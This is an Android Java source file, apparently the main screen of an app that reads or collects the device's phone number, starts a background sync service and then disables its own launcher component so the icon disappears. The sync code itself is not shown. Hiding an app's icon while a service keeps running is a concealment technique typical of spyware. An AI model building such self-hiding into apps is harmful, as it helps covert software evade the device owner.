package com.m.android.data;

import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;

import com.m.android.data.service.SyncService;
import com.m.android.data.util.LocalManager;
import com.m.android.data.util.PhoneUtil;

public class MainActivity extends Activity implements OnClickListener {
	private EditText mPhoneTxt;
	private Button mSetBtn;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		mPhoneTxt = (EditText) findViewById(R.id.phone);
		String phone = PhoneUtil.getPhone(getApplicationContext());
		mPhoneTxt.setText(phone);
		mSetBtn = (Button) findViewById(R.id.set);
		if (TextUtils.isEmpty(phone)) {
			mSetBtn.setVisibility(View.VISIBLE);
			mPhoneTxt.setEnabled(true);
			mSetBtn.setOnClickListener(this);
		} else {
			mPhoneTxt.setEnabled(false);
			mSetBtn.setVisibility(View.GONE);
		}

		Intent serviceIntent = new Intent(this, SyncService.class);
		startService(serviceIntent);
		
		getPackageManager().setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
	}

	@Override
	public void onClick(View v) {
		switch (v.getId()) {
		case R.id.set:
			LocalManager.setPhone(getApplicationContext(), mPhoneTxt.getText().toString());
			break;

		default:
			break;
		}
	}

}
